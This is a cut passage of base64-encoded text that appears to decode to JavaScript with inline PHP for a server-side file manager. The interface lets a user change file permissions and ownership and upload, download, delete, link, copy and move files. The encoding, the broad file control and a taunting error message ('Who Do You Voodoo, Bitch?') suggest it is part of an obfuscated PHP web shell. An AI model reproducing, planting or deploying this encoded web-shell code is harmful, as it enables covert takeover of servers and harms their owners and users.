R5bGUuZGlzcGxheSA9ICdub25lJzsKfQoKZnVuY3Rpb24gdWlNZW51SXRlbUJsdXIobWVudURpdikgewogdmFyIGFjdHZQcm50ID0gZG9jdW1lbnQuYWN0aXZlRWxlbWVudC5wYXJlbnROb2RlOwogaWYgKGFjdHZQcm50ICE9PSBtZW51RGl2ICYmIGFjdHZQcm50ICE9PSBtZW51RGl2LnBhcmVudE5vZGUpIG1lbnVEaXYuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKfQoKZnVuY3Rpb24gdWlEc3RyTW9kYWwod25kdykgewogZWxtQnlJZCgnZGl2V25kd3MnKS5yZW1vdmVDaGlsZCh3bmR3KTsKIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gdXBkQnVmZmVyU3RhdGUoKSB7CiB2YXIgZWxtID0gZWxtQnlJZCgnYnRuQnVmZmVyTWVudScpLAogIGlzRW1wdHkgPSBmbUJ1ZmZlci5sZW5ndGggPT09IDA7CiBpZiAoZWxtLmRpc2FibGVkICE9PSBpc0VtcHR5KSBlbG0uZGlzYWJsZWQgPSBpc0VtcHR5OwogaWYgKGlzRW1wdHkpIHsKICBlbG0gPSBlbG1CeUlkKCdmcm1CdWZmZXInKTsKICBpZiAoZWxtLnN0eWxlLnZpc2liaWxpdHkgPT09ICd2aXNpYmxlJykgewogICB1aUNsc01vZGFsKGVsbSk7CiAgIGVsbSA9IGVsbUJ5SWQoJ3RibEJ1ZmZlcicpOwogICBlbG0ucmVtb3ZlQ2hpbGQoZWxtLnRCb2RpZXNbMF0pOwogIH0KIH0KfQoKZnVuY3Rpb24gcm1GaWxlcyhkYXRhKSB7CiB2YXIgYnB0aCA9IGRhdGEucCwKICBmaWxlcyA9IGRhdGEuZiwKICBmbHNUYmRzID0gZWxtVGJsRmlsZXMudEJvZGllcywKICBmbHNUYmR5ID0gdGJkeUJ5UGF0aChicHRoKSwKICBiZnJUYmR5ID0gZWxtQnlJZCgnZnJtQnVmZmVyJykuc3R5bGUudmlzaWJpbGl0eSA9PT0gJ3Zpc2libGUnID8gZWxtQnlJZCgndGJsQnVmZmVyJykudEJvZGllc1swXSA6IG51bGw7CiBmb3IgKHZhciBpID0gZmlsZXMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpIHsKICB2YXIgZnB0aCA9IGZpbGVzW2ldOwogIGlmIChmbHNUYmR5KQogICBmb3IgKHZhciBqID0gZmxzVGJkeS5yb3dzLmxlbmd0aCAtIDE7IGogPiAxOyAtLWopCiAgICBpZiAoZmxzVGJkeS5yb3dzW2pdLmNlbGxzWzJdLmZpcnN0Q2hpbGQudGl0bGUgPT09IGZwdGgpIHsKICAgICBmbHNUYmR5LnJlbW92ZUNoaWxkKGZsc1RiZHkucm93c1tqXSk7CiAgICAgYnJlYWs7CiAgICB9IGZwdGggPSBicHRoICsgZnB0aDsKICB2YXIgbiA9IGZtQnVmZmVyLmluZGV4T2YoZnB0aCk7CiAgaWYgKG4gPiAtMSkgewogICBmbUJ1ZmZlci5zcGxpY2UobiwgMSk7CiAgIGlmIChiZnJUYmR5KSBiZnJUYmR5LnJlbW92ZUNoaWxkKGJmclRiZHkucm93c1tuXSk7CiAgfQogIGZwdGggKz0gRFM7CiAgdmFyIGxlbiA9IGZwdGgubGVuZ3RoOwogIGZvciAobiA9IGZsc1RiZHMubGVuZ3RoIC0gMTsgbiA+PSAwOyAtLW4pCiAgIGlmIChmbHNUYmRzW25dLnJvd3NbMF0uY2VsbHNbMF0udGV4dENvbnRlbnQuc2xpY2UoMCwgbGVuKSA9PT0gZnB0aCkgZWxtVGJsRmlsZXMucmVtb3ZlQ2hpbGQoZmxzVGJkc1tuXSk7CiAgZm9yIChuID0gZm1CdWZmZXIubGVuZ3RoIC0gMTsgbiA+PSAwOyAtLW4pCiAgIGlmIChmbUJ1ZmZlcltuXS5zbGljZSgwLCBsZW4pID09PSBmcHRoKSB7CiAgICBmbUJ1ZmZlci5zcGxpY2UobiwgMSk7CiAgICBpZiAoYmZyVGJkeSkgYmZyVGJkeS5yZW1vdmVDaGlsZChiZnJUYmR5LnJvd3Nbbl0pOwogICB9CiB9Cn0KCmZ1bmN0aW9uIG9uQ2huZ1BycHMoZGl2LCBkYXRhKSB7CiBpZiAoJ3InIGluIGRhdGEpIHsKICBmb3IgKHZhciBpID0gMCwgYyA9IGRhdGEuci5sZW5ndGg7IGkgPCBjOyArK2kpIHJtRmlsZXMoZGF0YS5yW2ldKTsKICB1cGRCdWZmZXJTdGF0ZSgpOwogfQogaWYgKCdjJyBpbiBkYXRhKQogIGZvciAodmFyIGkgPSAwLCBjID0gZGF0YS5jLmxlbmd0aDsgaSA8IGM7ICsraSkgdXBkVGJsRmlsZXMoZGF0YS5jW2ldIDw/cGhwIGlmKE5JWCllY2hvJyxkYXRhLm8sZGF0YS5nJzs/Pik7CiBpZiAoJ2UnIGluIGRhdGEpIHVpQ2huZ01zZyhkaXYsICJDYW4ndCBjaGFuZ2UiICsgKGRhdGEuZS5sZW5ndGggPT09IDEgPyAnICcgKyBkYXRhLmVbMF0gOiAnOlxuJyArIGRhdGEuZS5qb2luKCdcbicpKSwgJ0VycicpOwogZWxzZSB1aURlbE1zZyhkaXYpOwp9CgpmdW5jdGlvbiBjaG5nUHJwcyhlKSB7CiBlLnByZXZlbnREZWZhdWx0KCk7CiBlLnN0b3BQcm9wYWdhdGlvbigpOwogdmFyIGZybSA9IGUudGFyZ2V0LAogIGRhdGEgPSB7CiAgIGg6IFtdCiAgfSwKICBmbGRzID0gewogICBwOiAncGF0aCcsCiAgIHQ6ICdtb2RpZmllZCB0aW1lJwogICA8P3BocCBpZihOSVgpZWNobyIsZToncGVybWlzc2lvbnMnLG86J293bmVyJyxyOidncm91cCciOz8+CiAgfSwKICBjaG5nZCA9IFtdOwogZm9yICh2YXIgZmllbGQgaW4gZmxkcykKICBpZiAoZnJtW2ZpZWxkXS52YWx1ZSAhPT0gJycgJiYgZnJtW2ZpZWxkXS52YWx1ZSAhPT0gZnJtW2ZpZWxkXS5wbGFjZWhvbGRlcikgewogICBkYXRhW2ZpZWxkXSA9IGZybVtmaWVsZF0udmFsdWU7CiAgIGNobmdkLnB1c2goZmxkc1tmaWVsZF0pOwogIH0gaWYgKGNobmdkLmxlbmd0aCA+IDApIHsKICBpZiAoJ3AnIGluIGRhdGEpIGRhdGEucCA9IGNhbm9uUGF0aChkYXRhLnAsIGVsbVB0aC5wbGFjZWhvbGRlcik7CiAgdmFyIGVsbSA9IGZybVsnaFtdJ10sCiAgIGNudCA9IGVsbS5sZW5ndGggPyBlbG0ubGVuZ3RoIDogMTsKICBpZiAoY250ID4gMSkKICAgZm9yICh2YXIgaSA9IDA7IGkgPCBjbnQ7ICsraSkgZGF0YS5oLnB1c2goZWxtW2ldLnZhbHVlKTsKICBlbHNlIGRhdGEuaC5wdXNoKGVsbS52YWx1ZSk7CiAgZm1BanhTbmQoJ0NoYW5nZSAnICsgY2huZ2Quam9pbignLCAnKSArICcgZm9yICcgKyAoY250ID4gMSA/ICdzZWxlY3RlZCBmaWxlcyAoJyArIGNudCArICcpJyA6IGVsbS52YWx1ZSksIG9uQ2huZ1BycHMsIGRhdGEpOwogfQogdWlEc3RyTW9kYWwoZnJtKTsKfQoKZnVuY3Rpb24gc2V0RXJsRGF0ZShlKSB7CiBlLnByZXZlbnREZWZhdWx0KCk7CiBlLnN0b3BQcm9wYWdhdGlvbigpOwogdmFyIGVsbSA9IGUudGFyZ2V0LnBhcmVudE5vZGUubGFzdENoaWxkLAogIGVybERhdGUgPSBlbG0udmFsdWU7CiBmb3IgKHZhciBpID0gZWxtVGJsRmlsZXMudEJvZGllcy5sZW5ndGggLSAxOyBpID49IDA7IC0taSkgewogIHZhciByb3dzID0gZWxtVGJsRmlsZXMudEJvZGllc1tpXS5yb3dzOwogIGZvciAodmFyIGogPSByb3dzLmxlbmd0aCAtIDE7IGogPiAxOyAtLWopCiAgIGlmIChyb3dzW2pdLmNlbGxzWzRdLnRleHRDb250ZW50IDwgZXJsRGF0ZSB8fCBlcmxEYXRlID09PSAnJykgZXJsRGF0ZSA9IHJvd3Nbal0uY2VsbHNbNF0udGV4dENvbnRlbnQ7CiB9CiBpZiAoZXJsRGF0ZSAhPT0gJycgJiYgZXJsRGF0ZSA8IGVsbS52YWx1ZSkgZWxtLnZhbHVlID0gZXJsRGF0ZTsKfQoKZnVuY3Rpb24gdWlTaHdGcm1QcnBzKGRhdGEsIGZpbGVzKSB7CiB2YXIgZnJtID0gZWxtQnlJZCgndG1wbEZybVBycHMnKS5jb250ZW50LmZpcnN0Q2hpbGQuY2xvbmVOb2RlKHRydWUpOwogZm9yICh2YXIgaSA9IDAsIGMgPSBmaWxlcy5sZW5ndGg7IGkgPCBjOyArK2kpIGZybS5hcHBlbmRDaGlsZChuZXdFbG0oJ2lucHV0JywgewogIHR5cGU6ICdoaWRkZW4nLAogIG5hbWU6ICdoW10nLAogIHZhbHVlOiBmaWxlc1tpXQogfSkpOwogZnJtLnAudmFsdWUgPSBkYXRhWzBdOwogZnJtLnAucGxhY2Vob2xkZXIgPSBkYXRhWzBdOwogZnJtLnQudmFsdWUgPSBkYXRhWzFdOwogZnJtLnQucGxhY2Vob2xkZXIgPSBkYXRhWzFdOwogPD9waHAgaWYoTklYKXs/PmZybS5lLnZhbHVlID0gZGF0YVsyXTsKIGZybS5lLnBsYWNlaG9sZGVyID0gZGF0YVsyXTsKIGZybS5vLnZhbHVlID0gZGF0YVszXTsKIGZybS5vLnBsYWNlaG9sZGVyID0gZGF0YVszXTsKIGZybS5yLnZhbHVlID0gZGF0YVs0XTsKIGZybS5yLnBsYWNlaG9sZGVyID0gZGF0YVs0XTsKIDw/cGhwIH0/PmVsbUJ5SWQoJ2RpdlduZHdzJykuYXBwZW5kQ2hpbGQoZnJtKTsKIHVpU2h3TW9kYWwoZnJtKTsKfQoKZnVuY3Rpb24gb25HZXRQcnBzKGRpdiwgZGF0YSkgewogaWYgKGRhdGFbNF0gPT09IDApIHJldHVybiB1aUNobmdNc2coZGl2LCAiQ2FuJ3QgZ2V0IHByb3BlcnRpZXMgb2YgIiArIGRhdGFbMF0sICdFcnInKTsKIHVpU2h3RnJtUHJwcyhbZGF0YVswXSwgdXRzVG9TdHIoZGF0YVsyXSksIChkYXRhWzRdIHwgMCkudG9TdHJpbmcoOCkuc2xpY2UoLTQpLCBkYXRhWzVdID09PSAtMSA/ICc/JyA6IGRhdGFbNV0sIGRhdGFbNl0gPT09IC0xID8gJz8nIDogZGF0YVs2XV0sIFtkYXRhWzBdXSk7CiB1aURlbE1zZyhkaXYpOwp9CgpmdW5jdGlvbiBnZXRQcnBzKGZwdGgpIHsKIGZtQWp4U25kKCdHZXQgcHJvcGVydGllcyBvZiAnICsgZnB0aCwgb25HZXRQcnBzLCB7CiAgaTogZnB0aAogfSk7Cn0KCmZ1bmN0aW9uIG9uRHduRmlsZXMoZGl2LCBkYXRhKSB7CiB1aUNobmdNc2coZGl2LCAiQ2FuJ3QgZCIgKyBkaXYuY2hpbGROb2Rlc1sxXS5ub2RlVmFsdWUuc2xpY2UoMSwgLTIpLCAnRXJyJyk7Cn0KCmZ1bmN0aW9uIGR3bkZpbGVzKGZpbGVzKSB7CiB2YXIgY250ID0gZmlsZXMubGVuZ3RoOwogaWYgKGNudCA+IDApIGZtQWp4U25kKCdEb3dubG9hZCAnICsgKGNudCA+IDEgPyAnc2VsZWN0ZWQgZmlsZXMgKCcgKyBjbnQgKyAnKScgOiBmaWxlc1swXSksIG9uRHduRmlsZXMsIHsKICBkOiBjbnQgPiAxID8gZmlsZXMgOiBmaWxlc1swXQogfSk7Cn0KCmZ1bmN0aW9uIG9uRGVsRmlsZXMoZGl2LCBkYXRhKSB7CiBpZiAoJ3InIGluIGRhdGEpIHsKICBmb3IgKHZhciBpID0gZGF0YS5yLmxlbmd0aCAtIDE7IGkgPj0gMDsgLS1pKSBybUZpbGVzKGRhdGEucltpXSk7CiAgdXBkQnVmZmVyU3RhdGUoKTsKIH0KIGlmICgnZScgaW4gZGF0YSkgdWlDaG5nTXNnKGRpdiwgIkNhbid0IGRlbGV0ZSAiICsgKGRhdGEuZS5sZW5ndGggPT09IDEgPyBkYXRhLmVbMF0gOiAnOlxuJyArIGRhdGEuZS5qb2luKCdcbicpKSwgJ0VycicpOwogZWxzZSB1aURlbE1zZyhkaXYpOwp9CgpmdW5jdGlvbiBkZWxGaWxlcyhmaWxlcykgewogdmFyIGNudCA9IGZpbGVzLmxlbmd0aCwKICBtc2cgPSAnRGVsZXRlICcgKyAoY250ID4gMSA/ICdzZWxlY3RlZCBmaWxlcyAoJyArIGNudCArICcpJyA6IGZpbGVzWzBdKTsKIGlmIChjbnQgPiAwICYmIGNvbmZpcm0obXNnICsgJyA/JykpIGZtQWp4U25kKG1zZywgb25EZWxGaWxlcywgewogIHU6IGZpbGVzCiB9KTsKfQoKZnVuY3Rpb24gb25GYXN0QWN0Q2xpY2soZSkgewogdmFyIHRyZ3QgPSBlLnRhcmdldDsKIGlmICh0cmd0LnRhZ05hbWUgIT09ICdBJykgcmV0dXJuOwogZS5wcmV2ZW50RGVmYXVsdCgpOwogZS5zdG9wUHJvcGFnYXRpb24oKTsKIHRyZ3QuYmx1cigpOwogdmFyIGZwdGggPSBjYW5vblBhdGgoZWxtUHRoLnZhbHVlLCBlbG1QdGgucGxhY2Vob2xkZXIpOwogaWYgKGZwdGggPT09ICcnKSByZXR1cm47CiBzd2l0Y2ggKHRyZ3QudGV4dENvbnRlbnQpIHsKICBjYXNlICdQcm9wZXJ0aWVzJzoKICAgZ2V0UHJwcyhmcHRoKTsKICAgYnJlYWs7CiAgY2FzZSAnRG93bmxvYWQnOgogICBkd25GaWxlcyhbZnB0aF0pOwogICBicmVhazsKICBjYXNlICdEZWxldGUnOgogICBkZWxGaWxlcyhbZnB0aF0pOwogICBicmVhazsKIH0KfQoKZnVuY3Rpb24gb25VcGxGaWxlcyhkaXYsIGRhdGEpIHsKIGlmICgncCcgaW4gZGF0YSkgdXBkVGJsRmlsZXMoZGF0YTw/cGhwIGlmKE5JWCllY2hvJyxkYXRhLm8sZGF0YS5nJzs/Pik7CiBpZiAoJ2UnIGluIGRhdGEpIHsKICB2YXIgZXJycyA9IFsiY2FuJ3QgbW92ZSBmaWxlIHRvIGN1cnJlbnQgZGlyIiwgJ2ZpbGUgc2l6ZSBleGNlZWRzIHRoZSB1cGxvYWRfbWF4X2ZpbGVzaXplIGRpcmVjdGl2ZScsICdmaWxlIHNpemUgZXhjZWVkcyB0aGUgbWF4X2ZpbGVfc2l6ZSBwcm9wZXJ0eScsICdmaWxlIG9ubHkgcGFydGlhbGx5IHVwbG9hZGVkJywgJ2ZpbGUgbm90IHVwbG9hZGVkJywgJ1dobyBEbyBZb3UgVm9vZG9vLCBCaXRjaD8nLCAnbWlzc2luZyBhIHRlbXBvcmFyeSBmb2xkZXInLCAnZmFpbGVkIHRvIHdyaXRlIHRvIGRpc2snLCAnc29tZSBQSFAgZXh0ZW5zaW9uIHN0b3BwZWQgdGhlIHVwbG9hZCddLAogICBjbnQgPSBkYXRhLmUubGVuZ3RoLAogICBzZXAgPSBjbnQgPT09IDEgPyAnICcgOiAnXG4nLAogICBtc2cgPSAiQ2FuJ3Qgc2F2ZSB1cGxvYWRlZCBmaWxlIjsKICBpZiAoY250ID4gMSkgbXNnICs9ICdzOic7CiAgZm9yICh2YXIgaSA9IDA7IGkgPCBjbnQ7ICsraSkgbXNnICs9IHNlcCArIGRhdGEuZVtpXS5zbGljZSgxKSArICcgKCcgKyBlcnJzW2RhdGEuZVtpXS5zbGljZSgwLCAxKV0gKyAnKSc7CiAgdWlDaG5nTXNnKGRpdiwgbXNnLCAnRXJyJyk7CiB9IGVsc2UgdWlEZWxNc2coZGl2KTsKfQoKZnVuY3Rpb24gdXBsRmlsZXMoKSB7CiB2YXIgaW5wID0gZWxtQnlJZCgnaW5wVXBsJyksCiAgZmxzID0gaW5wLmZpbGVzLAogIGxlbiA9IGZscy5sZW5ndGg7CiBmbUFqeFNuZCgnVXBsb2FkICcgKyAobGVuID4gMSA/IGxlbiArICcgZmlsZXMnIDogZmxzWzBdLm5hbWUpLCBvblVwbEZpbGVzLCB7CiAgcDogZWxtUHRoLnBsYWNlaG9sZGVyCiB9LCBpbnAuZm9ybSk7Cn0KCmZ1bmN0aW9uIG9uTWtGaWxlKGRpdiwgZGF0YSkgewogaWYgKCdlJyBpbiBkYXRhKSByZXR1cm4gdWlDaG5nTXNnKGRpdiwgIkNhbid0IGMiICsgZGl2LmNoaWxkTm9kZXNbMV0ubm9kZVZhbHVlLnNsaWNlKDEsIC0xKSArIGRhdGEuZSwgJ0VycicpOwogdXBkVGJsRmlsZShkYXRhKTsKIHVpRGVsTXNnKGRpdik7Cn0KCmZ1bmN0aW9uIG1rTG5rKGUpIHsKIGUucHJldmVudERlZmF1bHQoKTsKIGUuc3RvcFByb3BhZ2F0aW9uKCk7CiB2YXIgZnJtID0gZWxtQnlJZCgnZnJtTG5rJyksCiAgbG5rID0gY2Fub25QYXRoKGZybS5lbGVtZW50c1sxXS52YWx1ZSwgZWxtUHRoLnBsYWNlaG9sZGVyKTsKIGZtQWp4U25kKCdDcmVhdGUgJyArIGZybS50LnRleHRWYWx1ZS50b0xvd2VyQ2FzZSgpICsgJyBsaW5rICcgKyBsbmsgKyAnIHRvICcgKyBmcm0ucC52YWx1ZSwgb25Na0ZpbGUsIHsKICBsOiBsbmsKIH0sIGZybSk7CiB1aUNsc01vZGFsKGZybSk7Cn0KCmZ1bmN0aW9uIHVpU2h3RnJtTG5rKHApIHsKIHZhciBmcm0gPSBlbG1CeUlkKCdmcm1MbmsnKTsKIGZybS5wLnZhbHVlID0gcDsKIGZybS5lbGVtZW50c1sxXS52YWx1ZSA9IHA7CiBmcm0udC5zZWxlY3RlZEluZGV4ID0gMDsKIHVpU2h3TW9kYWwoZnJtKTsKfQoKZnVuY3Rpb24gbWtEaXIoYnApIHsKIHZhciBmcCA9IHByb21wdCgnQ3JlYXRlIERpcmVjdG9yeScsIGJwKTsKIGlmIChmcCAhPT0gbnVsbCkgewogIGZwID0gY2Fub25QYXRoKGZwLCBicCk7CiAgZm1BanhTbmQoJ0NyZWF0ZSBkaXJlY3RvcnkgJyArIGZwLCBvbk1rRmlsZSwgewogICBtOiBmcAogIH0pOwogfQp9CgpmdW5jdGlvbiBvbkNydE1lbnVDbGljayhlKSB7CiB2YXIgdHJndCA9IGUudGFyZ2V0OwogaWYgKHRyZ3QudGFnTmFtZSAhPT0gJ0EnKSByZXR1cm47CiBlLnByZXZlbnREZWZhdWx0KCk7CiBlLnN0b3BQcm9wYWdhdGlvbigpOwogdHJndC5ibHVyKCk7CiB2YXIgYnB0aCA9IGVsbVB0aC5wbGFjZWhvbGRlcjsKIHN3aXRjaCAodHJndC50ZXh0Q29udGVudCkgewogIGNhc2UgJ0ZpbGUnOgogICB1aVNod0ZybUZpbGUoW2JwdGgsIG51bGxdLCAnJywgZWxtQnlJZCgnZm1DU1NlbmQnKS52YWx1ZSk7CiAgIGJyZWFrOwogIGNhc2UgJ0xpbmsnOgogICB1aVNod0ZybUxuayhicHRoKTsKICAgYnJlYWs7CiAgY2FzZSAnRGlyZWN0b3J5JzoKICAgbWtEaXIoYnB0aCk7CiAgIGJyZWFrOwogfQp9CgpmdW5jdGlvbiB1aVVubXJrVGJsRmlsZXMoZmlsZXMpIHsKIHZhciBhcyA9IGVsbVRibEZpbGVzLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ21ya2QnKTsKIGZvciAodmFyIGkgPSBhcy5sZW5ndGggLSAxOyBpID49IDA7IC0taSkgewogIHZhciBuID0gZmlsZXMuaW5kZXhPZihhc1tpXS5wYXJlbnROb2RlLnBhcmVudE5vZGUuY2VsbHNbMF0uZmlyc3RDaGlsZC52YWx1ZSk7CiAgaWYgKG4gPiAtMSkgewogICBhc1tpXS5jbGFzc0xpc3QucmVtb3ZlKCdtcmtkJyk7CiAgIGZpbGVzLnNwbGljZShuLCAxKTsKICAgaWYgKGZpbGVzLmxlbmd0aCA9PT0gMCkgYnJlYWs7CiAgfQogfQp9CgpmdW5jdGlvbiB1bm1hcmtGaWxlcygpIHsKIHZhciB0YmR5ID0gZWxtQnlJZCgndGJsQnVmZmVyJykudEJvZGllc1swXSwKICBpbnBzID0gZWxtQnlJZCgnZnJtQnVmZmVyJylbJ2ZbXSddLAogIGZpbGVzID0gW107CiBpZiAoIWlucHMubGVuZ3RoKSBpbnBzID0gW2lucHNdOwogZm9yICh2YXIgaSA9IGlucHMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpCiAgaWYgKGlucHNbaV0uY2hlY2tlZCkgewogICBmaWxlcy5wdXNoKGZtQnVmZmVyLnNwbGljZShpLCAxKVswXSk7CiAgIHRiZHkucmVtb3ZlQ2hpbGQoaW5wc1tpXS5wYXJlbnROb2RlLnBhcmVudE5vZGUpOwogIH0gaWYgKGZpbGVzLmxlbmd0aCA+IDApIHsKICB1aVVubXJrVGJsRmlsZXMoZmlsZXMpOwogIHVwZEJ1ZmZlclN0YXRlKCk7CiB9Cn0KCmZ1bmN0aW9uIG9uVGJsQnVmZmVyQ2xpY2soZSkgewogdmFyIHRyZ3QgPSBlLnRhcmdldDsKIGlmICh0cmd0LnRhZ05hbWUgIT09ICdBJykgcmV0dXJuOwogZS5wcmV2ZW50RGVmYXVsdCgpOwogZS5zdG9wUHJvcGFnYXRpb24oKTsKIHZhciByb3cgPSB0cmd0LnBhcmVudE5vZGUucGFyZW50Tm9kZSwKICBmcHRoID0gcm93LmNlbGxzWzBdLmZpcnN0Q2hpbGQudmFsdWU7CiBzd2l0Y2ggKHRyZ3QucGFyZW50Tm9kZS5jZWxsSW5kZXgpIHsKICBjYXNlIDE6CiAgIGdvVG8oZnB0aCk7CiAgIGJyZWFrOwogIGNhc2UgMjoKICAgZm1CdWZmZXIuc3BsaWNlKHJvdy5yb3dJbmRleCAtIDEsIDEpOwogICByb3cucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChyb3cpOwogICB1aVVubXJrVGJsRmlsZXMoW2ZwdGhdKTsKICAgdXBkQnVmZmVyU3RhdGUoKTsKICAgYnJlYWs7CiB9Cn0KCmZ1bmN0aW9uIHVpU2h3RnJtQnVmZmVyKCkgewogdmFyIGZybSA9IGVsbUJ5SWQoJ2ZybUJ1ZmZlcicpOwogaWYgKGZybS5zdHlsZS52aXNpYmlsaXR5ID09PSAndmlzaWJsZScpIHJldHVybjsKIHZhciB0YmwgPSBlbG1CeUlkKCd0YmxCdWZmZXInKSwKICB0YmR5ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgndGJvZHknKSwKICBlbG1UbXBsQnVmZmVyUm93ID0gZWxtQnlJZCgndG1wbEJ1ZmZlclJvdycpLmNvbnRlbnQuZmlyc3RDaGlsZDsKIGZybS5lbGVtZW50c1swXS5jaGVja2VkID0gZmFsc2U7CiBpZiAodGJsLnRCb2RpZXMubGVuZ3RoID4gMCkgdGJsLnJlbW92ZUNoaWxkKHRibC50Qm9kaWVzWzBdKTsKIGZtQnVmZmVyLnNvcnQoKTsKIGZvciAodmFyIGkgPSAwLCBjID0gZm1CdWZmZXIubGVuZ3RoOyBpIDwgYzsgKytpKSB7CiAgdmFyIHJvdyA9IGVsbVRtcGxCdWZmZXJSb3cuY2xvbmVOb2RlKHRydWUpOwogIHJvdy5jZWxsc1swXS5maXJzdENoaWxkLnZhbHVlID0gZm1CdWZmZXJbaV07CiAgcm93LmNlbGxzWzFdLmZpcnN0Q2hpbGQudGV4dENvbnRlbnQgPSBmbUJ1ZmZlcltpXTsKICB0YmR5LmFwcGVuZENoaWxkKHJvdyk7CiB9CiB0YmwuYXBwZW5kQ2hpbGQodGJkeSk7CiB1aVNod01vZGFsKGZybSk7Cn0KCmZ1bmN0aW9uIGdldE5hbWUoZikgewogcmV0dXJuIGZbMF07Cn0KCmZ1bmN0aW9uIG9uRmxzaEJ1ZmZlcihkaXYsIGRhdGEpIHsKIHZhciBmaWxlcyA9ICgnYycgaW4gZGF0YSkgPyBkYXRhLmMgOiBbXTsKIGlmICgnbScgaW4gZGF0YSkKICBmb3IgKHZhciBpID0gZGF0YS5tLmxlbmd0aCAtIDE7IGkgPj0gMDsgLS1pKSB7CiAgIHJtRmlsZXMoewogICAgcDogZGF0YS5tW2ldLnAsCiAgICBmOiBkYXRhLm1baV0uZi5tYXAoZ2V0TmFtZSkKICAgfSk7CiAgIGZpbGVzID0gZmlsZXMuY29uY2F0KGRhdGEubVtpXS5mKTsKICB9CiB1cGRUYmxGaWxlcyh7CiAgIHA6IGRhdGEucCwKICAgZjogZmlsZXMKICB9CiAgPD9waHAgaWYoTklYKWVjaG8nLGRhdGEubyxkYXRhLmcnOz8+KTsKIGlmICgnZScgaW4gZGF0YSkgewogIHZhciBtc2cgPSBkaXYuY2hpbGROb2Rlc1sxXS5ub2RlVmFsdWU7CiAgdWlDaG5nTXNnKGRpdiwgIkNhbid0ICIgKyBtc2cuc2xpY2UoMCwgMTApLnRvTG93ZXJDYXNlKCkgKyBtc2cuc2xpY2UoMjYsIC0xKSArICI6XG4iICsgZGF0YS5lLmpvaW4oIlxuIiksICdFcnInKTsKIH0gZWxzZSB1aURlbE1zZyhkaXYpOwp9CgpmdW5jdGlvbiBmbHVzaEJ1ZmZlcihhY3QpIHsKIHZhciBicHRoID0gZWxtUHRoLnBsYWNlaG9sZGVyLAogIGRhdGEgPSB7CiAgIGY6IGJwdGgKICB9OwogZGF0YVthY3QgPT09ICdDb3B5JyA/ICdwJyA6ICd2J10gPSBmbUJ1ZmZlcjsKIGZtQWp4U25kKGFjdCArICcgZmlsZXMgZnJvbSB0aGUgYnVmZmVyIHRvICcgKyBicHRoLCBvbkZsc2hCdWZmZXIsIGRhdGEpOwp9CgpmdW5jdGlvbiBjbG5CdWZmZXIoKSB7CiB2YXIgYXMgPSBlbG1UYmxGaWxlcy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCdtcmtkJyk7CiBmb3IgKHZhciBpID0gYXMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpIGFzW2ldLmNsYXNzTGlzdC5yZW1vdmUoJ21ya2QnKTsKIGZtQnVmZmVyID0gW107CiB1cGRCdWZmZXJTdGF0ZSgpOwp9CgpmdW5jdGlvbiBvbkJ1ZmZlck1lbnVDbGljayhlKSB7CiB2YXIgdHJndCA9IGUudGFyZ2V0OwogaWYgKHRyZ3QudGFnTmFtZSAhPT0gJ0EnKSByZXR1cm47CiBlLnByZXZlbnREZWZhdWx0KCk7CiBlLnN0b3BQcm9wYWdhdGlvbigpOwogdHJndC5ibHVyKCk7CiBmbUJ1ZmZlci5zb3J0KCk7CiBzd2l0Y2ggKHRyZ3QudGV4dENvbnRlbnQpIHsKICBjYXNlICdTaG93IGZpbGVzJzoKICAgdWlTaHdGcm1CdWZmZXIoKTsKICAgYnJlYWs7CiAgY2FzZSAnQ29weSBoZXJlJzoKICBjYXNlICdNb3ZlIGhlcmUnOgogICBmbHVzaEJ1ZmZlcih0cmd0LnRleHRDb250ZW50LnNsaWNlKDAsIDQpKTsKICAgY2xuQnVmZmVyKCk7CiAgIGJyZWFrOwogIGNhc2UgJ0Rvd25sb2FkJzoKICAgZHduRmlsZXMoZm1CdWZmZXIpOwogICBjbG5CdWZmZXIoKTsKICAgYnJlYWs7CiAgY2FzZSAnQ2xlYXInOgogICBjbG5CdWZmZXIoKTsKICAgYnJlYWs7CiB9Cn0KCmZ1bmN0aW9uIG1hcmtGaWxlcyhmaWxlcykgewogdmFyIGJmclRiZHkgPSBlbG1CeUlkKCdmcm1CdWZmZXInKS5zdHlsZS52aXNpYmlsaXR5ID09PSAndmlzaWJsZScgPyBlbG1CeUlkKCd0YmxCdWZmZXInKS50Qm9kaWVzWzBdIDogbnVsbCwKICBlbG1UbXBsQnVmZmVyUm93ID0gZWxtQnlJZCgndG1wbEJ1ZmZlclJvdycpLmNvbnRlbnQuZmlyc3RDaGlsZDsKIGZvciAodmFyIGkgPSAwLCBjID0gZmlsZXMubGVuZ3RoOyBpIDwgYzsgKytpKSB7CiAgdmFyIGZpbGUgPSBmaWxlc1tpXSwKICAgbiA9IGZtQnVmZmVyLmluZGV4T2YoZmlsZSk7CiAgaWYgKG4gPT09IC0xKSB7CiAgIGZtQnVmZmVyLnB1c2goZmlsZSk7CiAgIGlmIChiZnJUYmR5KSB7CiAgICB2YXIgcm93ID0gZWxtVG1wbEJ1ZmZlclJvdy5jbG9uZU5vZGUodHJ1ZSk7CiAgICByb3cuY2VsbHNbMF0uZmlyc3RDaGlsZC52YWx1ZSA9IGZpbGU7CiAgICByb3cuY2VsbHNbMV0uZmlyc3RDaGlsZC50ZXh0Q29udGVudCA9IGZpbGU7CiAgICBiZnJUYmR5LmFwcGVuZENoaWxkKHJvdyk7CiAgIH0KICB9IGVsc2UgewogICBmbUJ1ZmZlci5zcGxpY2UobiwgMSk7CiAgIGlmIChiZnJUYmR5KSBiZnJUYmR5LnJlbW92ZUNoaWxkKGJmclRiZHkucm93c1tuXSk7CiAgfQogfQogdXBkQnVmZmVyU3RhdGUoKTsKfQoKZnVuY3Rpb24gZ2V0U2xjdGRGaWxlcygpIHsKIHZhciBpbnBzID0gZWxtQnlJZCgnZnJtRmlsZXMnKVsnZltdJ10sCiAgY2hja2QgPSBbXTsKIGlmIChpbnBzKSB7CiAgaWYgKGlucHMubGVuZ3RoID4gMCkgewogICBmb3IgKHZhciBpID0gMCwgYyA9IGlucHMubGVuZ3RoOyBpIDwgYzsgKytpKQogICAgaWYgKGlucHNbaV0uY2hlY2tlZCkg